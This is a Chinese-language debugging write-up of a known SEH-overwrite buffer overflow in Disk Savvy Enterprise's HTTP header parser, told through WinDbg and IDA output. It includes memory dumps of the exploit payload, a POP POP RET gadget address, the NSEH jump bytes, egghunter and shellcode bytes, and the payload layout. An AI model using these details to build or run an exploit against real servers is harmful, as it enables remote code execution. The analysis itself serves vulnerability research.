[原创]Disk Savvy Enterprise 9.4.18 - Buffer Overflow (SEH)远程代码执行漏洞分析
前言说明
此漏洞是关于SEH异常链的利用,关于SEH异常内容网上参考资料很多,不懂的也可以参考软件调试里的21章和24章相关内容,也可以搜索相关Windows函数 SetUnhandledExceptionFilter 安装SEH 和 AddVectoredExceptionHandler 安装VEH 拦截异常
漏洞环境搭建与分析
漏洞发布:https://www.exploit-db.com/exploits/41436/
Windows7 32位 python2.7 POC就是作者提供的
安装完Disk Pulse Enterprise后,需要开启server服务80端口

成功开启后,打开浏览器如下,表示服务已经成功开启

打开Process Explorer,会发现有disksvs 和 disksec,我们需要调试的是disksvs,不要弄错了

用windbg附加程序运行POC得到异常
0:008> g
(7fc.7c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00ed0000 ebx=00ecd120 ecx=00001241 edx=ffffedb0 esi=00ecbee4 edi=101d9134
eip=1009718d esp=00ecbec4 ebp=00ecd788 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll -
libspp!SCA_HttpParser::ParseHttpHeader+0xdd:
1009718d 8808 mov byte ptr [eax],cl ds:0023:00ed0000=??
可以看到触发了异常,此时我们详细查看异常链情况
0:008> !exchain
00ecff88: libspp!pcre_exec+c018 (10142e38)
Invalid exception stack at 909008eb
我们看到,cl写入eax中触发了访问异常,所以我们查看eax内容,如下:
0:008> dd eax
00ed0000 ???????? ???????? ???????? ????????
00ed0010 ???????? ???????? ???????? ????????
00ed0020 ???????? ???????? ???????? ????????
查看堆栈内容,发现被我们的AAAA覆盖了,应该是缓冲区溢出导致的
0:008> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00ecd788 41414141 41414141 41414141 41414141 libspp!SCA_HttpParser::ParseHttpHeader+0xdd
00ecd78c 41414141 41414141 41414141 41414141 0x41414141
00ecd790 41414141 41414141 41414141 41414141 0x41414141
00ecd794 41414141 41414141 41414141 41414141 0x41414141
下面我们用微软公布的插件详细查看此异常情况(在Windows7下 使用此插件需要安装Redistributable2012)
0:009> !exploitable -v
!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x1460000
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation
Exception Hash (Major/Minor): 0xedf0d6cb.0x06981de1
Hash Usage : Stack Trace:
Major+Minor : libspp!SCA_HttpParser::ParseHttpHeader+0xdd
Major+Minor : Unknown
Major+Minor : Unknown
………………….
Instruction Address: 0x000000001009718d
Description: Exception Handler Chain Corrupted
Short Description: ExceptionHandlerCorrupted
Exploitability Classification: EXPLOITABLE //此处我们可以看到,已经注明此漏洞是可以被利用的
Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at libspp!SCA_HttpParser::ParseHttpHeader+0x00000000000000dd (Hash=0xedf0d6cb.0x06981de1)
Corruption of the exception handler chain is considered exploitable
下面我们根据堆栈跟提供的情况,在IDA中查找相关函数信息,得到相关类成员函数如下:

我们根据漏洞触发点,在IDA定位此处的函数如下:
100970B0 ; int __thiscall SCA_HttpParser::ParseHttpHeader(SCA_HttpParser *this, const char *, unsigned __int32, struct SCA_HttpRequest *)

根据漏洞触发异常位置,我们可以推断该漏洞触发原理就是在缓冲区中循环拷贝直到访问堆栈越界,触发访问异常
下面重新附加程序断点到此处(此函数只调用了一次,所以附加运行POC可以直接分析了),详细分析每个调用函数,验证上面的猜想
libspp!SCA_HttpParser::ParseHttpHeader:
100970b0 b80c110000 mov eax,110Ch
100970b5 e876510b00 call libspp!pcre_exec+0x15410 (1014c230)
100970ba 33c0 xor eax,eax
100970bc 53 push ebx
100970bd 55 push ebp //保存原来栈底
100970be 8bac2418110000 mov ebp,dword ptr [esp+1118h] //栈帧发生大幅度偏移
100970c5 89442408 mov dword ptr [esp+8],eax //将获得缓冲区赋给esp+8
调用此函数缓冲区的变化
100970e9 e8c4540b00 call libspp!pcre_exec+0x15792 (1014c5b2)
0:009> dc esp
0157beb8 0157d788 0157bed4 0157bee0 00001432 ..W...W...W.2...
0157bec8 00000000 00ad1860 00ad1748 00000003 ....`...H.......
0157bed8 00000000 0157d010 00544547 00000000 ......W.GET.....
验证 GET 字符串
10097110 bf30911d10 mov edi,offset libspp!`string'+0x2ec8 (101d9130)
10097115 8d74241c lea esi,[esp+1Ch]
10097119 b904000000 mov ecx,4
1009711e 33c0 xor eax,eax
10097120 f3a6 repe cmps byte ptr [esi],byte ptr es:[edi]
0:008> dc edi
101d9130 00544547 61766e49 2064696c 50545448 GET.Invalid HTTP
101d9140 534f5020 6f432054 6e65746e 79542074 POST Content Ty
101d9150 2d206570 00732520 6c707061 74616369 pe - %s.applicat
101d9160 2f6e6f69 77772d78 6f662d77 752d6d72 ion/x-www-form-u
101d9170 6e656c72 65646f63 00000064 2d74754f rlencoded...Out-
101d9180 722d666f 65676e61 74616420 6f702061 of-range data po
101d9190 69746973 69206e6f 5448206e 6d205054 sition in HTTP m
101d91a0 69746c75 74726170 736f7020 61642074 ultipart post da
0:008> dc esi
0137bee0 00544547 00000000 00000000 00000000 GET.............
0137bef0 00000000 00000000 00000000 00000000 ................
0137bf00 00000000 00000000 00000000 00000000 ................
0137bf10 00000000 00000000 00000000 00000000 ................
0137bf20 00000000 00000000 00000000 00000000 ................
0137bf30 00000000 00000000 00000000 00000000 ................
0137bf40 00000000 00000000 00000000 00000000 ................
0137bf50 00000000 00000000 00000000 00000000 ................
调用此函数缓冲区的变化
10097161 e84c540b00 call libspp!pcre_exec+0x15792 (1014c5b2)
0:009> dc esp
0157beb8 0157d788 0157bed4 0157bee0 00001432 ..W...W...W.2...
0157bec8 00000000 00ad1860 00ad1748 000012a8 ....`...H.......
0157bed8 00000000 0157d010 4141412f 41414141 ......W./AAAAAAA
0157bee8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0157bef8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0157bf08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0157bf18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0157bf28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
接下来经过检查返回值,跳转到循环中,重复在堆栈中低地址向高地址中拷贝,覆盖了函数调用的返回值和异常链,最后超出了缓冲区,而此处的缓冲区页表处于程序未定义的地方,所以都是以???????? 呈现出来,触发了访问异常
10097181 8d4310 lea eax,[ebx+10h]
10097184 8d54241c lea edx,[esp+1Ch]
10097188 2bd0 sub edx,eax
1009718a 8a0c02 mov cl,byte ptr [edx+eax]
1009718d 8808 mov byte ptr [eax],cl
1009718f 40 inc eax
10097190 84c9 test cl,cl
10097192 75f6 jne libspp!SCA_HttpParser::ParseHttpHeader+0xda (1009718a)
直接跑起来得到异常
0:008> g
(7c0.174): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01380000 ebx=0137d120 ecx=00001241 edx=ffffedb0 esi=0137bee4 edi=101d9134
eip=1009718d esp=0137bec4 ebp=0137d788 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libspp!SCA_HttpParser::ParseHttpHeader+0xdd:
1009718d 8808 mov byte ptr [eax],cl ds:0023:01380000=??
0:008> dd eax
01380000 ???????? ???????? ???????? ????????
01380010 ???????? ???????? ???????? ????????
01380020 ???????? ???????? ???????? ????????
01380030 ???????? ???????? ???????? ????????
查看此时的异常,发现了已经被改变了,而且是熟悉的SEH链异常shellcode利用的模型
0:008> !exchain
0137ff88: libspp!pcre_exec+c018 (10142e38)
Invalid exception stack at 909008eb
0:008> dc 0137ff80
0137ff80 41414141 41414141 909008eb 10142e38 AAAAAAAA....8… //此处是异常链表 前面表示指向下一个异常处理 后面表示 POP POP RET
0137ff90 90909090 90909090 80cb8c66 087523fb ........f....#u. //此处是shellcode,作者给的POC是用来寻找前面的真正的shellcode
0137ffa0 5353db31 c0b35353 8166d233 420fffca 1.SSSS..3.f....B
0137ffb0 c0fb8052 026a1974 5a2ecd58 ef74053c R...t.j.X..Z<.t.
0137ffc0 303074b8 afd78977 75afe575 6ae7ffe2 .t00w...u..u...j
0137ffd0 c9315826 ff64e289 eb5a5e13 414141df &X1...d..^Z..AAA
0137ffe0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137fff0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
反汇编异常调用处,验证猜想
0:008> u 10142e38
libspp!pcre_exec+0xc018:
10142e38 5f pop edi
10142e39 5e pop esi
10142e3a c3 ret
以上基本上已经分析完了,但是感觉还不是很清楚,可以在进入mov byte ptr [eax],cl 指令前查看堆栈上下文的情况,可以发现很有趣的东西,在关键地方已经做了备注,查看的堆栈比较长,只挑了重点来分析
0:008> dc 0137bee0 l1200
0137bee0 4141412f 41414141 41414141 41414141 /AAAAAAAAAAAAAAA
0137bef0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf00 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf10 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf20 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf30 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf40 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf50 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137bf70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
....................
....................
0137c850 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137c860 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137c870 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137c880 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0137c890 41414141 41414141 909008eb 10142e38 AAAAAAAA....8... //====================== 将要覆盖的异常链表
0137c8a0 90909090 90909090 80cb8c66 087523fb ........f....#u. //exploit = crash + nseh + retn + nops + wow64_egghunter + stack_fill + egg + nops + shell + filler
0137c8b0 5353db31 c0b35353 8166d233 420fffca 1.SSSS..3.f....B
0137c8c0 c0fb8052 026a1974 5a2ecd58 ef74053c R...t.j.X..Z<.t.
................
...............
0137d110 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
0137d120 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
0137d130 4141412f 41414141 44414141 44444444 /AAAAAAAAAADDDDD //<----------------------------------------------------
0137d140 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD //从这开始拷贝,上面向下面拷贝,由于拷贝数据过大,导致溢出
0137d150 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
...............
...............
0137ff60 804feb52 00000001 00010002 00000000 R.O.............
0137ff70 7c8106e9 81c41378 b266fd50 0000000c ...|x...P.f.....
0137ff80 00ad14d8 1009216f 0137ffdc 10155ba6 ....o!....7..[.. //0137ff88: libspp!pcre_exec+1ed86 (10155ba6)
0137ff90 00000001 004c030c 00000000 00ad15c8 ......L......... //异常链表在此处
0137ffa0 004c3b32 00ad14d8 00ad15c8 004c38e4 2;L..........8L.
0137ffb0 00ad14d8 00000000 7c80b713 00ad15c8 ...........|....
0137ffc0 00000000 00000000 00ad15c8 7ffd6000 .............`..
0137ffd0 821b3600 0137ffc0 81eda5c0 ffffffff .6....7......... //0137ffdc: kernel32!_except_handler3+0 (7c839ac0)
0137ffe0 7c839ac0 7c80b720 00000000 00000000 ...| ..|........
0137fff0 00000000 004c38d0 00ad15c8 00000000 .....8L.........
01380000 ???????? ???????? ???????? ???????? ???????????????? //此处是程序未分配的页表范围,所以显示的是?,访问此处会触发异常
